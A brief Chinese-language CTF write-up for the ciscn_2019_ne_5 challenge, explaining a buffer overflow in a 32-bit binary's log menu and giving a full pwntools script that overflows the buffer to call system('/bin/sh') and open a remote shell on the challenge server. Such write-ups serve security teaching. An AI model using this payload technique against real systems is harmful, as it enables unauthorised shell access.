放进Linux一看是32位
进入ida对main不能直接F5
先进入scanf函数编译,再编译main
我们发现这是一个菜单表,输入administrator后进入菜单,而且这里s1只给了48个大小,而可以输入100个字节,可以溢出
我们进菜单1看看
看看菜单3
找到system函数了,接下来找到system地址和/bin/sh的地址
from pwn import*
r=remote("node3.buuoj.cn",29791)
elf=ELF('ciscn_2019_ne_5')
system_addr=elf.sym['system']
shell_addr=0x80482ea
r.recvuntil('Please input admin password:')
r.sendline('administrator')
r.recvuntil('0.Exit\n:')
r.sendline('1')
payload='a'*(0x48+4)+p32(system_addr)+'1234'+p32(shell_addr)
r.recvuntil('Please input new log info:')
r.sendline(payload)
r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()